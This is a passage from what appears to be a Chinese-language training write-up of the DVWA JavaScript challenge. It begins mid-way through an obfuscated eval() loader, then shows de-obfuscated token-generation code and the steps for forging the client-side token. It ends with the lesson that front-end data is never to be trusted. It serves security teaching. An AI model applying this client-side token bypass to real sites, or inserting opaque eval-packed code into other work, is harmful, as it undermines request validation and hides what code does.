e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));
JavaScript (High)
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
生token的步驟:
1. token_part_1("ABCD", 44);
2. token_part_2("XX")
3. click時執行token_part_3();
JavaScript (Impossible)
永遠不要相信前端來的資料
[2021_NISRA_Training] DVWA
By halloworld
[2021_NISRA_Training] DVWA
DVWA Practice
- 414